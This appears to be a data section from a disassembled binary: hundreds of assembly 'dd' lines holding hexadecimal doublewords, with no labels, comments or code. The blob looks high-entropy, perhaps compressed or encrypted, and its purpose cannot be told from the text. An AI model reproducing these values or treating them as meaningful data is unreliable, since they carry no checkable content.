		dd 0D97CBA1Ch, 0ABAF8600h, 5DBBD71Dh, 66360693h, 10D60B81h
		dd 3E3A5F00h, 14B6A4FAh, 4A8E0FCCh, 0F3844918h,	915CE08Bh
		dd 0C9882C3h, 8F799043h, 0BC90E1h, 0B9931895h, 0B7344DDDh
		dd 0CA1DE414h, 0DB791090h, 8CD04539h, 64D60099h, 0FC0B4D4Fh
		dd 0AA003639h, 0B921FB81h, 2F0CFC1h, 5AD2D3C4h,	61C071E0h
		dd 0F004359h, 3FA02D66h, 98E86298h, 3CCE00F8h, 14586F1Dh
		dd 111A3E0Dh, 41101E7Ch, 98FCEA60h, 2290005Ch, 0AF1C30F0h
		dd 38007B7Ch, 647F928Fh, 0E79B3940h, 8180D887h,	4D0EC02Dh
		dd 99381FB3h, 62660BD7h, 0EFF50063h, 717911A8h,	93DE00FAh
		dd 1A672834h, 0F40EB1BEh, 203705A0h, 0D1C291EEh, 299812D0h
		dd 824C1E50h, 0E472F610h, 0B600B470h, 78FAAEDh,	0FEB556C8h
		dd 772B0486h, 8088554Eh, 0A2576118h, 0C0930C09h, 9B80F58Bh
		dd 875DEC18h, 0F9321B00h, 8F605372h, 0A4AD006Ah, 0F2D50BD9h
		dd 7001331h, 0B8679879h, 7C67EEAh, 66B785B4h, 0C9E020A0h
		dd 0F3000BCDh, 0ACD6A7C4h, 1ED2CF5Fh, 0C070F14Ah, 39028E66h
		dd 4D0072FEh, 9757620Dh, 0FFDA9Ah, 33E01C4Ah, 0A3AB58C7h
		dd 7D004D7Fh, 552E7778h, 1257408Eh, 4043306Eh, 0C519D814h
		dd 0A400A6AAh, 0F031374Fh, 7B9BE98h, 789227Ah, 1211F001h
		dd 0AC0076D3h, 31FF804Ch, 48C49D6h, 13CF5CB9h, 6D90C187h
		dd 4E12F4E8h, 0A846A8A0h, 784B8E0Bh, 0C4BC8298h, 27B84849h
		dd 0A7A001A1h, 0A9672C7Ch, 264FFC9Dh, 8F3C6A38h, 0A0B19EF8h
		dd 1FC36671h, 55DF03DCh, 6EB7A106h, 24C156B8h, 0BB8BCF02h
		dd 403B15AAh, 0C53CECh,	0C336CBB1h, 0F3D5DBB2h,	0C76DDF1Ch
		dd 31032547h, 0A3108129h, 84403E92h, 0FE8D553Ch, 96548043h
		dd 220025F4h, 0ACB3CC21h, 263A556Bh, 74F736h, 8D267C83h
		dd 32004E8Eh, 7AFBC828h, 8652AEh, 4AD93509h, 0D6A4C38Bh
		dd 0ADA3E50Bh, 0BA102095h, 9801C21Ch, 250D1278h, 5C67000Ah
		dd 8ABC3DA3h, 95149C00h, 6872AE47h, 4DFD0BCDh, 1807CF51h
		dd 0A70200BFh, 0D91DA5A3h, 5603B9B4h, 0C834B6BAh, 90906241h
		dd 9B0D034Ch, 37021707h, 0B04099E8h, 0BD01DBE8h, 9C60DCEBh
		dd 0C0C65F2Dh, 5CD360h,	8EE7F3CDh, 6C44417Fh, 88B9AA0Eh
		dd 4573E001h, 0EFAEA1Dh, 623A25CDh, 8F28C23h, 94F43E98h
		dd 0CCE0960Eh, 28017322h, 56840DA1h, 0D99620h, 30E8B061h
		dd 0F4971CF1h, 0BC07649Eh, 45C1CB19h, 6AEC59A1h, 13509C04h
		dd 48B8C8B4h, 0C82D340h, 0A85CA135h, 0F33E8050h, 0E9658089h
		dd 7BE81C6Eh, 18081EEFh, 0FF02804Ch, 358A17DAh,	8100157Ch
		dd 5567E30Fh, 1C6D39Bh,	0DD482A1Bh, 0CAAE7361h,	0E3BCD260h
		dd 0CD5AF312h, 402AF449h, 79AFBE14h, 0B3A000DFh, 646B33E9h
		dd 5E029BD4h, 0BF2D5F53h, 2471B2h, 2A4ACDABh, 19016DAEh
		dd 0A3D7A40Dh, 188BA7E9h, 0BC619FD4h, 0CA83C72Ch, 0FB7E1900h
		dd 871AF27Fh, 0F88100BDh, 575AE056h, 4F00469Ch,	0FF3C0589h
		dd 620871h, 34CA5F80h, 0C43027FAh, 83B38B00h, 72CFD995h
		dd 5ABF39E9h, 7A4C5580h, 0C35C3276h, 292EBB0Eh,	0C0A1219Fh
		dd 0B4406C90h, 0FDECDF9h, 2C59CBABh, 0B3235800h, 0AF00DF7Fh
		dd 362A0C41h, 0F37950Ah, 6DA61488h, 0FB339CE0h,	7C38E73Dh
		dd 36F8084h, 654A1050h,	60EB2458h, 17FD24BCh, 88088C07h
		dd 0FDED2500h, 653F2CCEh, 1C8B7F63h, 8B1E85C1h,	0A860766Bh
		dd 0E0003BCFh, 17F556D2h, 48AD63C3h, 0C40E18A8h, 94C470F3h
		dd 98AB049Ch, 0BFA76F40h, 0DC94F693h, 9D5E5A00h, 0EDBE47h
		dd 4D9E98C1h, 3EFEF7A3h, 0CF85F200h, 20C3CABBh,	0D479260Dh
		dd 0E1430044h, 9C4ED7Eh, 2E10A800h, 0F0D9D04Dh,	135370F3h
		dd 0B46654h, 6B3FF21Fh,	0E6058DDBh, 3CBD8C0Fh, 15E0F887h
		dd 0C12747FBh, 65E39050h, 0AA4AD862h, 1C4C18F4h, 92B0E97h
		dd 835875Eh, 3625F520h,	28016013h, 88D2B53Ch, 0EB5FD000h
		dd 383B1245h, 80FB50D5h, 93C200D7h, 1C503DA5h, 903D3C7h
		dd 0F283BB85h, 5F819967h, 11DFC40h, 0A9E025CFh,	6CDAF2C0h
		dd 0D7705000h, 9BEF338Bh, 0D29300B0h, 7B89F7F9h, 1E0283A8h
		dd 6349529Fh, 0EF80489Eh, 92CD0085h, 1E5A137Ch,	0E1025B4Ah
		dd 33ECD0E6h, 801C5474h, 9107C528h, 8E00EFA2h, 1435ED1Bh
		dd 0C175E4h, 4D026E9Eh
		dd 7F49CDFCh, 0B785D5Ch, 0E06FA92Dh, 0A6F4F4h, 3F7043BBh
		dd 9EA1A733h, 0E9454E00h, 0AA66B007h, 80C4917Dh, 0A17744E3h
		dd 290258C6h, 0BCCF831Eh, 28BC784Ah, 98C4CBB7h,	66CE1204h
		dd 482B0BB2h, 0B0008FD6h, 2DFAE25Bh, 5C050070h,	8E2AA0CBh
		dd 0E80045F2h, 10BD9261h, 9874E9D9h, 0EE2E03D0h, 0E203477Bh
		dd 40499DF8h, 0FCE69A00h, 732AB54Eh, 8E930053h,	6DCA98ADh
		dd 560024A2h, 0E75116FAh, 3167D96Bh, 8D96C3B9h,	4380CF50h
		dd 7800D379h, 5BD60755h, 1B093Bh, 68990A65h, 0C88B0CDEh
		dd 6E86310Eh, 8708202Fh, 6085A41Fh, 0FB0FD45Bh,	123DB22Eh
		dd 0A6ED0BA7h, 2D90A02Ch, 7AB31Fh, 0DAA925AAh, 44BB9B7Dh
		dd 0F3009092h, 44D1F09h, 3ADC0E4h, 14A646E1h, 6FD02541h
		dd 0E2008622h, 446583D3h, 3C4642Eh, 0A8068E20h,	8DBF284h
		dd 0EA29C3ECh, 0B51987D0h, 714F748h, 0F14F30E4h, 3D2EA441h
		dd 44C47183h, 9C0B041h,	0D1F5AAE9h, 68A1D0F5h, 6D007CBCh
		dd 0E63D0FC4h, 0E54F0E40h, 198138E4h, 0E81016B0h, 0C2F848E2h
		dd 31C1A876h, 935ACF1h,	183C0330h, 182FCCDDh, 79053245h
		dd 3DAC4CE4h, 516E1001h, 80C4EA4Fh, 30BC0034h, 49BA6461h
		dd 3C50F4C6h, 8AB0A954h, 0AA82560h, 48D6B53h, 0CD0FEDF8h
		dd 1F8B83Ah, 0A56E7E34h, 2DD433F4h, 2147009Ch, 369794FDh
		dd 0BB382B4Eh, 42638C57h, 7D32D65Ah, 1F4FFC4Dh,	5F020456h
		dd 18D38030h, 2C3564F7h, 3D2D9D24h, 2254EC00h, 745D5557h
		dd 2BA40015h, 584B56C2h, 1D002920h, 0D2C4970Dh,	379C1CF6h
		dd 70A03DE5h, 9963FF2Dh, 0C66F0F00h, 20A921B0h,	70030067h
		dd 0A7238C77h, 8504AB6h, 0B90EE4A8h, 0C04D522Ah, 2F9FC6AAh
		dd 183F62D8h, 4C00291Eh, 832D1CA6h, 616AC1A8h, 0A01B8F80h
		dd 15418D98h, 0BC349CDDh, 72EE5328h, 9FD3FECh, 0B409B234h
		dd 0F17E73F0h, 446DA75Ch, 850036B8h, 78CB321Ch,	5A739Bh
		dd 0A14C5DE8h, 7EAF8066h, 30A50B19h, 78893341h,	64100FF6h
		dd 830ED461h, 0C320BA5Bh, 3028C22Fh, 2212608h, 0F4EF83DCh
		dd 7200CDDDh, 4BC7286Bh, 0ECD8BA2Ch, 286663BCh,	42C90441h
		dd 0F8E08164h, 133F57CDh, 1844C3D8h, 296A995Eh,	0F448EA0Dh
		dd 54180750h, 80CEC3Dh,	2821C012h, 0C4C9F4F2h, 44DB8900h
		dd 0BC1D093Eh, 217930AFh, 0B29F88D8h, 0F8BA0C40h, 1880E919h
		dd 9887F81Bh, 10C01FDDh, 799CB7BCh, 738617A2h, 0A2003ECh
		dd 1FD83541h, 0BB90031Ch, 0F678F505h, 63C152C8h, 2AE920h
		dd 5482F807h, 2F00757Ch, 0AE0AAFF3h, 0FAE83E46h, 3DD20024h
		dd 56C1D335h, 80055D8h,	43D01FAAh, 1D4239C2h, 8FFFC88Ch
		dd 0AEAB1D84h, 8D484500h, 1B00165Ch, 24B5116Bh,	0E7F044h
		dd 0A1FC7A45h, 0E6E223EEh, 0BDF78301h, 0A42A7969h, 1C4FFE4h
		dd 886E84A5h, 0FCBB111Fh, 0C50B8FCBh, 8664CD58h, 8511E055h
		dd 7BBD8604h, 48701095h, 8A1058h, 5F2598AEh, 0A12466h
		dd 946E9DA6h, 0BF71331h, 6453E00h, 0CD967CB3h, 1002012Ch
		dd 0C8CB9F58h, 7DAC20DCh, 5EF63700h, 79A6E2BEh,	18EC005Ch
		dd 23C0FC16h, 27055B96h, 9C1E40Dh, 8A04EE80h, 5DB11FEDh
		dd 4BF3C097h, 0BB6F61BDh, 5F3E1407h, 1270A6D8h,	891BDCh
		dd 0FD6853C6h, 4DA38CFEh, 0FF0C1900h, 0DF2B14D7h, 0EF1D0078h
		dd 539E1C06h, 40172083h, 3C184731h, 1DEBF846h, 0C0654E3Bh
		dd 0D55988D6h, 5403DAB6h, 0D94FB926h, 8F12A873h, 995A0080h
		dd 21D3010Bh, 0D4077785h, 26F5052Dh, 0B4725930h, 541A00DBh
		dd 4FF73B13h, 0AA001727h, 0C72696D2h, 0B9FBADh,	0D9A98F2Ch
		dd 4EEE54AFh, 0B6CE3000h, 31572D90h, 3B71F1Dh, 710D4EDFh
		dd 6E1EF394h, 458C5CBFh, 5967ECh, 3327DAD4h, 2005A01h
		dd 31A09A18h, 7EB7A3h, 0C9F3FEDDh, 0AFC60C8Fh, 0DF863400h
		dd 0B921F929h, 0E22B003Dh, 6CBEA033h, 51C032A4h, 5473B3C5h
		dd 50DB003Ah, 0B7BA1C2Eh, 2F0084C9h, 0CF606DFAh, 1780FA6h
		dd 54D0F7C6h, 0C0399AC3h, 9D1CD163h, 0A80B0B7h,	6326A2Ah
		dd 0CD3503DBh, 13F24E6Eh, 440DE92h, 0A11F042Ch,	0B9FC5973h
		dd 0C1178053h, 0E2915D60h, 83B40005h, 401C5AE1h, 76002469h
		dd 0EEECA23Eh, 419409h,	0A7FC2C6Bh, 3672BCF1h, 69B1701Ch
		dd 6F9148C0h, 0C0A9E6h,	7183B8AFh, 6073937Ah, 90D69800h
		dd 6F41F7BBh, 30AE3C67h, 7B007048h, 668B7AB7h, 5300B5B0h
		dd 841ED377h, 41BB76h, 13220CB1h, 6C93F2A2h, 7B710F16h
		dd 0C934A700h, 17D4801h, 443B4287h, 24CD0AFFh, 8A7D298Ch
		dd 0EA084F00h, 0F266ACDBh, 95BA0771h, 7110A0E9h, 21D22E28h
		dd 0BC48FE94h, 8C028932h, 0C2BEE7A6h, 8336C04Ah, 3C1B0091h
		dd 0EBC1F0E4h, 890027F3h, 55710E62h, 5BFFC514h,	3D48F87Dh
		dd 873202A8h, 818F36EEh, 72DF3F94h, 914DE840h, 90678F0h
		dd 7ED5E0F4h, 0EDAEA602h, 0B3880843h, 0B20B856h, 62CB00B7h
		dd 704ABF4Fh, 2F136782h, 1040D166h, 0B7A6547Eh,	6E900EE8h
		dd 7FC06D28h, 0AE8826E3h, 0FCFFF428h, 1E25B65Ch, 6AC092CAh
		dd 7053FC2Bh, 60E41Fh, 222171ADh, 0BAFDBB9h, 570A1500h
		dd 5517790h, 6A9068h, 5826AC04h, 393A1436h, 0A683B301h
		dd 0D1166DD7h, 57BB2C0h, 4725CC99h, 5CF03010h, 850740E7h
		dd 0DDB0C275h, 22B73C10h, 9E92001Ch, 0C7F5397Fh, 7A00D90Eh
		dd 91871129h, 0A52061h,	0F3C2E3E2h, 5F44CF41h, 2E6D9801h
		dd 0EC6EBEFh, 2810E0FFh, 360D39BDh, 0B0C1A883h,	30F87494h
		dd 0CC01CF7Ah, 553E80A5h, 0ED70FADAh, 323A0376h, 4E7124A3h
		dd 0A08091EAh, 0E1E25356h, 0E3291A06h, 0BE46BDh, 0EAC08FA5h
		dd 6C13800Ah, 8C74837Ch, 0FBACB803h, 0D0896412h, 15179Eh
		dd 7AB503D0h, 0C7444EEDh, 8324D43Bh, 472F23D3h,	75EC909Fh
		dd 92D0067h, 2C55A416h,	5E0765EBh, 2B3EC176h, 7447AB70h
		dd 2420ECF2h, 1640C645h, 0D81C0095h, 6DCD7E59h,	0A2020AF2h
		dd 0D049CE7h, 0EB8481BDh, 15D0E886h, 96F4A14Dh,	48F2EFC8h
		dd 562824E1h, 0A0390099h, 70559343h, 270177ACh,	0C7D96C68h
		dd 4830C42Fh, 87311CAEh, 80C30196h, 20055B07h, 5D78BC77h
		dd 988E7100h, 81B3DFC5h, 8B400025h, 970ACC31h, 0D6000EDDh
		dd 139880F0h, 2DADCh, 28384166h, 0DAB7F2Ah, 7DA64600h
		dd 0F67318DDh, 0B80C1344h, 0E9751960h, 0B0A32043h, 71C52800h
		dd 0B407AD3Bh, 0BC34501Fh, 0A3723D21h, 5ACF5C83h, 0D3D0A9ABh
		dd 6B50B9C3h, 660064ACh, 0C1BDB426h, 0A38DC7h, 1BC92C5Eh
		dd 0FE91E17Ah, 0D1E5AB06h, 306CECh, 898A4312h, 15E326FDh
		dd 90F8AE00h, 0D9F21472h, 85B60B66h, 0F200BB06h, 297646AAh
		dd 7D00407Dh, 0FBFDA354h, 7EBA851h, 0C3DB3E83h,	0C21CA048h
		dd 4718F0D7h, 0E31884C7h, 7B11867h, 28A3110Ch, 0A6FDDD00h
		dd 546258F5h, 0F8382E1Fh, 0F9B70013h, 0B0DDEAE1h, 68126103h
		dd 986E1E2Ah, 6B6F342h,	853444EDh, 7902C06Dh, 3E50E0DAh
		dd 479C8074h, 245AAEh, 7E29ED4Ah, 792EA3E6h, 51AAD200h
		dd 65143DF5h, 3387AE2h,	0F1D53629h, 40F889C8h, 6E0725E4h
		dd 4FE230F2h, 0FEBE2DE0h, 0A7CF00B5h, 0A1C1EA11h, 370099F9h
		dd 1C4DF189h, 93B2BDh, 9EDE1A7Bh, 0E6D27E49h, 0A90E1F60h
		dd 0A8072Dh, 0A22609BFh, 23988C70h, 3447D40Eh, 60005652h
		dd 5C02385Ah, 49720E7Eh, 0A0207C61h, 0E8D45B44h, 0B3007B7Ch
		dd 0A4594F89h, 1701C4h
		dd 0A376109Dh, 7B53046h, 88CEF004h, 0D4D08EDAh,	3AE267h
		dd 0DC3B4F72h, 0B6203055h, 7D8FBB00h, 5D71951Ch, 0CEFB00F6h
		dd 0AED55BBDh, 35023C9Ah, 1A98FF4Dh, 7A48E02Dh,	52403B87h
		dd 2F725E81h, 75C1CE59h, 0DCBEF0C0h, 7CB21201h,	70187844h
		dd 6C3A188Fh, 2C360C3Eh, 0A3F06411h, 72DA0400h,	0A6D59EB9h
		dd 99583FF8h, 0C65815Ch, 0B12C1EFCh, 0D1C211FEh, 41E834DCh
		dd 5D1A0F00h, 0E7E1E451h, 0C238E298h, 0B63B5E58h, 96424C90h
		dd 8B571CA1h, 5DF3430h,	0A8002ED7h, 0C78ABDC1h,	2098070Ch
		dd 90F45662h, 7E10529Fh, 601E1500h, 0B8C4D4DBh,	0CEC601D9h
		dd 0E61ACB73h, 2359E834h, 2E26000h, 1D4D6576h, 0B7DB007Bh
		dd 16D7B492h, 6D003719h, 0DDBCEFC8h, 7DB0C5E4h,	3ED207B8h
		dd 0C2F08021h, 0ECC03A50h, 0A9C0CFBDh, 0D54D3363h, 47D30019h
		dd 8CFB0712h, 340F9D21h, 0CD55A020h, 318248E3h,	79379AE0h
		dd 1D3888E8h, 0FB0B2802h, 0A3B1F7CFh, 8806C884h, 1C2ABEA6h
		dd 40DC269Ch, 2FAF7308h, 2200A35Eh, 6E359323h, 4DE36h
		dd 92C05B63h, 0BBA8DD38h, 0DF602503h, 7783364h,	90589B18h
		dd 0E5616CF8h, 0A81B3000h, 947C1C3Ah, 7009DE42h, 1B298521h
		dd 0FDAA3613h, 0EA0CC600h, 0CC6769Ch, 0AE394597h, 60016D0h
		dd 1A22ACC4h, 488631h, 53701C60h, 0DA544E0Bh, 0D596EC03h
		dd 881ECC80h, 0E1CBD6h,	4377243Eh, 0F64958DCh, 4889AE14h
		dd 36D5B004h, 9818F854h, 188860D6h, 0CE8E610Eh,	65194DFAh
		dd 0A6092DFAh, 19EE3980h, 0ED3A6A8Eh, 0CBC9D300h, 0B12BC00Bh
		dd 170C0E8h, 71F7CE4Eh,	0FE688600h, 0C6643DAEh,	88D40624h
		dd 488D1A2Fh, 780A3500h, 0D04FCF97h, 0C54D0F57h, 9B07FE6Ah
		dd 0C234B025h, 0CE1FFC87h, 0A845494Fh, 203D1E19h, 5518FEF9h
		dd 6C1D8929h, 0D18E6401h, 0E2186536h, 1CF321C0h, 29BFEC8Eh
		dd 69046D3h, 0C8A5622Fh, 18169481h, 718E5C63h, 15283D29h
		dd 0F00094A5h, 8CDE8E1Bh, 447A3845h, 23B88152h,	8E620717h
		dd 6235D497h, 1AF121A7h, 0E328C08Eh, 0A2358313h, 0BF1C081Fh
		dd 3A827D40h, 0ED72C9Eh, 0CD492EB7h, 8FF08BAAh,	0EBE025A9h
		dd 0B39B1CCEh, 9AC5051Dh, 0C405D12h, 733A1E4Ch,	4A7600A1h
		dd 2B36503Eh, 6903715Eh, 48BE33FEh, 305A309h, 27DFCE31h
		dd 5AC0E9AFh, 2D28423Ch, 0F20594F7h, 4DB121F6h,	98289C40h
		dd 0E4D46274h, 0CB8D1913h, 806008BAh, 74D00721h, 280D11C3h
		dd 30B4C02Fh, 0BF785A22h, 29C04E05h, 547F3151h,	33061882h
		dd 34198941h, 7D029318h, 0FAD4E430h, 6C3C4809h,	4154589Ch
		dd 357A925Ch, 6A9CC000h, 83C757D6h, 0C3CA00E4h,	0BCFD95A7h
		dd 3B033035h, 0CFD48436h, 0B2BBE8D8h, 0AE622A81h, 147907ACh
		dd 0E01C1FBCh, 0EA7F4C13h, 1E314000h, 0FB7D64Ah, 0EF80A5F3h
		dd 654A8031h, 0CADA9B9h, 5BD62BDEh, 0B8B866E1h,	0C5678700h
		dd 58C80730h, 5E143AF7h, 8C93A80h, 9A3CFFB1h, 0E8FB7024h
		dd 9B37A280h, 985609Ch,	3CC6D8BFh, 1568242Ah, 0E600D404h
		dd 0D5B87C38h, 0C11688F6h, 10091E11h, 180C00C4h, 7C90571Bh
		dd 0B09300FAh, 0C05C1F16h, 8101E775h, 0CF215F84h, 0A9804ED7h
		dd 8FA9C437h, 0AB024482h, 0E3CEF5EDh, 0D96C48BBh, 0E516009Bh
		dd 654E09E8h, 59F0EA83h, 2FF9D009h, 9CDC08A4h, 0D4831D11h
		dd 0C29A1E74h, 0B105F31h, 0A90074CCh, 9EBD435Dh, 2ABCF10h
		dd 4283A0C0h, 0C8805E46h, 4FDEC7D1h, 949EC00h, 4781E090h
		dd 7B060751h, 7CAE8992h, 0CC005651h, 83EA2636h,	0A02D3A32h
		dd 5379D3F8h, 1B29F041h, 18597154h, 402E0B6h, 0CFD853C1h
		dd 5E90C0E3h, 0C2002D5Dh, 7DD4519Fh, 1ACB37Ch, 676640F2h
		dd 24127B54h, 94A6CF6Ch, 32888400h, 0B7DA01B1h,	0F6F0005h
		dd 0F5F6C587h, 0C771CE9Eh, 0C860C36Ch, 281063F2h, 0AF82D357h
		dd 6D771040h, 0E6CF6F0Dh, 0CC31301Bh, 20DF3093h, 6BE9DD80h
		dd 22554300h, 19DC1B79h, 500A709Dh, 4586D1h, 557E1DB4h
		dd 0CFF5F2A9h, 0FE6BD913h, 0BF38D002h, 313E00EEh, 9CA15816h
		dd 90C82485h, 0B823C70Bh, 0F3481BE8h, 0D558B42h, 0DBF6A28h
		dd 3C46DC7Eh, 0ED580A28h, 2FD44F04h, 0C0C1A472h, 20402C52h
		dd 0C1B18551h, 93FA3BB9h, 3C30A69Fh, 69788104h,	14855802h
		dd 8A7F80A1h, 0D3998212h, 631C6BC7h, 9262E064h,	6819C14Bh
		dd 0D55C4439h, 0B34060C5h, 4CF1220h, 5573209h, 2B84D1F7h
		dd 4980414h, 7FD40D1Ah,	0E58070C6h, 0E880508Ch,	95753B38h
		dd 78E5344h, 0C07949Dh,	4A2BF0C8h, 4D60D7C6h, 0F4DBB1E1h
		dd 5D401C5h, 746B33BCh,	3BC98402h, 6080FD42h, 1CBEC75Dh
		dd 401F54E9h, 4ADF382h,	0CA133A35h, 88026E1Bh, 449E81E6h
		dd 0C36A00F0h, 826129D2h, 6E601A30h, 0CFBC3BA8h, 7D73C7Fh
		dd 0E2EC74D8h, 80078843h, 898FDA14h, 80820804h,	5CCABFB8h
		dd 74195F0Ch, 1FF7C10Ah, 0C052C446h, 0B8E0CEACh, 0BE394185h
		dd 0B0F9013Dh, 0D8FB3E56h, 0A91A6420h, 0A092D1ACh, 342007B2h
		dd 0C02CE04Fh, 0C3016B1Fh, 4CCDDB46h, 5C4A559Ah, 3389AAC4h
		dd 0FFC1D89Ah, 37B60054h, 693D5281h, 2E00F2E9h,	55576080h
		dd 0C003738Dh, 8A1C7C1h, 0CF00EA14h, 0C0FB2661h, 0F65F1BEDh
		dd 535A1760h, 72BC20D6h, 69FAC5CDh, 81159400h, 44937DA1h
		dd 7875D4h, 9B05066Fh, 9D70C176h, 0BC0C555Ch, 5B008CA9h
		dd 0B55DEABDh, 1950E61h, 81B9B145h, 208D5230h, 0C700BF9Ch
		dd 0F79EF67Ah, 268A854Eh, 974056Ah, 1092D457h, 437EC885h
		dd 0B3018BB8h, 0A8F31DC8h, 8A061009h, 0AADC1BEEh, 98F0038h
		dd 18C10F9Bh, 98BFC056h, 9DF4060h, 348A7A6Ah, 88B7C481h
		dd 86CBE351h, 0BC80B859h, 64E7279h, 8A428192h, 0B758059h
		dd 1A9C9E50h, 8E5F058Ch, 381D36D4h, 173BECFCh, 40BF878Eh
		dd 408EB4F4h, 0D41CDA5Ah, 16E724B7h, 0C0123BECh, 0CB0490D7h
		dd 0D87531E0h, 50789F00h, 6D56652Fh, 484AEAD6h,	7700A45Eh
		dd 35C0510h, 850F4966h,	0A7C7D49Eh, 6480B131h, 547119AFh
		dd 996A4FAh, 8420CCE7h,	97CDC26h, 0B6C81054h, 65CC1F1Fh
		dd 4D9935DEh, 0EC181C40h, 8425CC08h, 21D8C6EBh,	0CC24BD00h
		dd 7BC28DCDh, 0D1B501FDh, 0D79EBCCAh, 6F502452h, 4679C1Eh
		dd 13C01100h, 7E9A5F48h, 61240429h, 80F47189h, 0A66022A0h
		dd 0D60F8498h, 0B30B487Fh, 0B02E1417h, 0C089A710h, 556CF761h
		dd 96880909h, 508E3951h, 0DA15FFE1h, 8269BCCFh,	492F163Dh
		dd 876851C7h, 0F4E53A23h, 9F630Ch, 3A1C4621h, 47179008h
		dd 2021B60Ch, 28A509Ah,	0F26C18FDh, 6AC11668h, 0BD199307h
		dd 5DF48C02h, 8A0042AFh, 85040068h, 60903832h, 0B263E075h
		dd 0F87F17E0h, 0E7080855h, 687456C0h, 227246D4h, 0CE09005Ch
		dd 0A62E4174h, 0CB1614EAh, 180231D3h, 7529F7h, 80F60A3Bh
		dd 524FD70Bh, 35701088h, 0AA2B20D2h, 8E8FD609h,	0CEC0AA9h
		dd 0E3DE5106h, 0E890029h, 0E4EC450Ch, 0CD00E525h, 42654B33h
		dd 4FA2B6h, 827C9E31h, 8052637Dh, 5039B260h, 13F9306h
		dd 99E9619Dh, 7446B62Ah, 8F78D47Ch, 0EB708B60h,	3187D066h
		dd 0D51085CAh, 0D8BC508Ah, 2B069B84h, 0B9E3B3B7h, 0C1580059h
		dd 3EB47C03h, 0FA12A9B5h, 9B008E26h, 36061B19h,	0E3449255h
		dd 0BF890980h, 60A131DFh, 5F04AB77h, 0BA1302D4h, 8A3268C1h
		dd 794C0A13h, 0A17B0B70h, 10FD804Dh, 0E09C75h, 5915C350h
		dd 37648D2Eh, 72D33Ah
		dd 0B788732Ch, 92E8B35Fh, 26046C8h, 8421CCF0h, 0C1001C4Bh
		dd 992DCCE8h, 924FDAAEh, 80E7622Ch, 0C4E0CDCBh,	0C6068706h
		dd 2E5CABC7h, 2FF64E39h, 88E110B0h, 84B0C0DDh, 0CBF3655h
		dd 4821654Eh, 10295EFAh, 17124B10h, 88307C52h, 80A687DAh
		dd 5E499082h, 5B186218h, 36D60308h, 1804C894h, 23409A00h
		dd 0FAC44C79h, 0A76F0017h, 8224BF5Dh, 49485E42h, 0B0622E08h
		dd 688B3D04h, 7D543A00h, 0A0BACA8Ah, 13F48806h,	2E601C1Fh
		dd 42987286h, 832093C7h, 0BC8E2Ah, 9D87B7DCh, 0C00CE7D1h
		dd 20AD3F30h, 3FA002F6h, 20D3CA18h, 67C42F84h, 0C47CC589h
		dd 3113635Ch, 8579F358h, 0D048916Fh, 0CEE82898h, 249AF42Ah
		dd 4B21A160h, 153A17h, 0ABD86ECEh, 595F6508h, 0EDD35801h
		dd 0A31BDA35h, 939B848h, 0D78673D2h, 504EA4A2h,	0DF0E48Ah
		dd 2C280E57h, 8C56BC24h, 93639707h, 4089DA36h, 547F8AC8h
		dd 67EEFCF6h, 0DCBFF831h, 7FE289B9h, 0E4A7722Ah, 194654A6h
		dd 418E487Fh, 7040052Eh, 8E0060F7h, 0A1649E06h,	12C6D1DEh
		dd 4903712h, 9DD5BB4h, 973080F2h, 0A287CDA0h, 0DFB048AEh
		dd 0EB69C0B7h, 2EAEE0FCh, 952950Ah, 4C4FB032h, 0D0B15Dh
		dd 7E0C362Ah, 91962B14h, 17FEF700h, 8992E15Eh, 0EF212886h
		dd 61F909E0h, 0E84060EEh, 8200E288h, 67249630h,	3C194Ah
		dd 2973FC45h, 699274D8h, 2E815707h, 0E6005D66h,	8B2187h
		dd 0FD85D353h, 0EB58ECA3h, 3944D700h, 113E083Ch, 3A7FBAh
		dd 0AD03AB54h, 0AF8CE368h, 9D8838h, 1838BCDBh, 394EA40h
		dd 7A7BB9A1h, 0ECA05239h, 6000F3A0h, 275CCB2Bh,	63D49D50h
		dd 7AF00837h, 29112000h, 51BC212Bh, 629F0085h, 96B6BDE5h
		dd 4A006C2Ch, 183528D1h, 0CCA2E9h, 75F616A1h, 6C7C3481h
		dd 7B53BD0Fh, 13A68112h, 1080A0EBh, 6492C98Ch, 0B70CE535h
		dd 8DD6D77h, 6F21C082h,	0CDFB92D2h, 0B2D18300h,	773CE0F9h
		dd 369883ECh, 0F20E4429h, 0D13DFFh, 0FAB93E66h,	33C400FEh
		dd 0F56030BCh, 51C0AF1Ah, 32589DECh, 0D64003EDh, 0F26020C3h
		dd 53BA2003h, 0A5942Ah,	0C0AD8029h, 0D7A01C44h,	0D823AF0Eh
		dd 218F8CD6h, 0C0A43BE3h, 0FE544307h, 0E7E8ACBDh, 0DB650F09h
		dd 4B3C00CBh, 0E6711BE6h, 9070C0BBh, 526929ECh,	0F7108460h
		dd 433E2Ch, 0F809512Eh,	5864AEE5h, 0FD34B800h, 9E1B0B07h
		dd 1D7401C3h, 0B96583D8h, 0FB32F48Fh, 8DD25600h, 0F43C239Ah
		dd 0A5D500C5h, 0D02D2C72h, 440099AFh, 9F9D4A32h, 3E6F4F7h
		dd 710F5C23h, 1DB9D0C1h, 38BE24h, 13748642h, 6954D7Bh
		dd 47FEA2E5h, 1407203Dh, 7A96C04h, 8ACA6B10h, 0BD121316h
		dd 0CB36008Ch, 5C096E1Fh, 94E05100h, 87700F2Eh,	0BC7C03ADh
		dd 0FB3A975Ah, 4440D0E2h, 0A4F83EC3h, 9AD20901h, 7BEC9DD1h
		dd 38899E0h, 0EE759712h, 0E8E3F573h, 7AFDBDE0h,	9B06D003h
		dd 1FC328B8h, 0F301A541h, 0E2B04218h, 54039CC8h, 449E9DFCh
		dd 95E800F5h, 0DBF40368h, 0F3207FEDh, 7E163A3Bh, 877B369Fh
		dd 50B1F55Ch, 6BEE6A35h, 0A4E08D2Ah, 0C882AA00h, 0F18FB524h
		dd 19C506C4h, 21E86537h, 83E66100h, 0E7216394h,	0CA4B03F5h
		dd 0A1A233DEh, 86A68098h, 9026041Dh, 107934BAh,	0A1C3042Eh
		dd 1000735Ch, 0BD32837h, 1A0B6BAh, 26C7EE96h, 30545620h
		dd 0D200DD23h, 0AC10B0F9h, 1C80DC6h, 49940E4Fh,	70189AD9h
		dd 27006537h, 0C9BA6CE7h, 735DE5EDh, 0F00D0731h, 13139C60h
		dd 1988C0F5h, 6532CE72h, 0C0CF025Ch, 2BE53Fh, 0C994AFA8h
		dd 2ADC9B63h, 0B540A03h, 0F875A9C3h, 2C03Ch, 0D7F20C8h
		dd 0D4F1F78Dh, 0A1079A00h, 0F6261FB0h, 0AE70074Ch, 0F044E443h
		dd 5AA304Bh, 1400D2FEh,	9A9E51C1h, 490711h, 0F9EBE83Dh
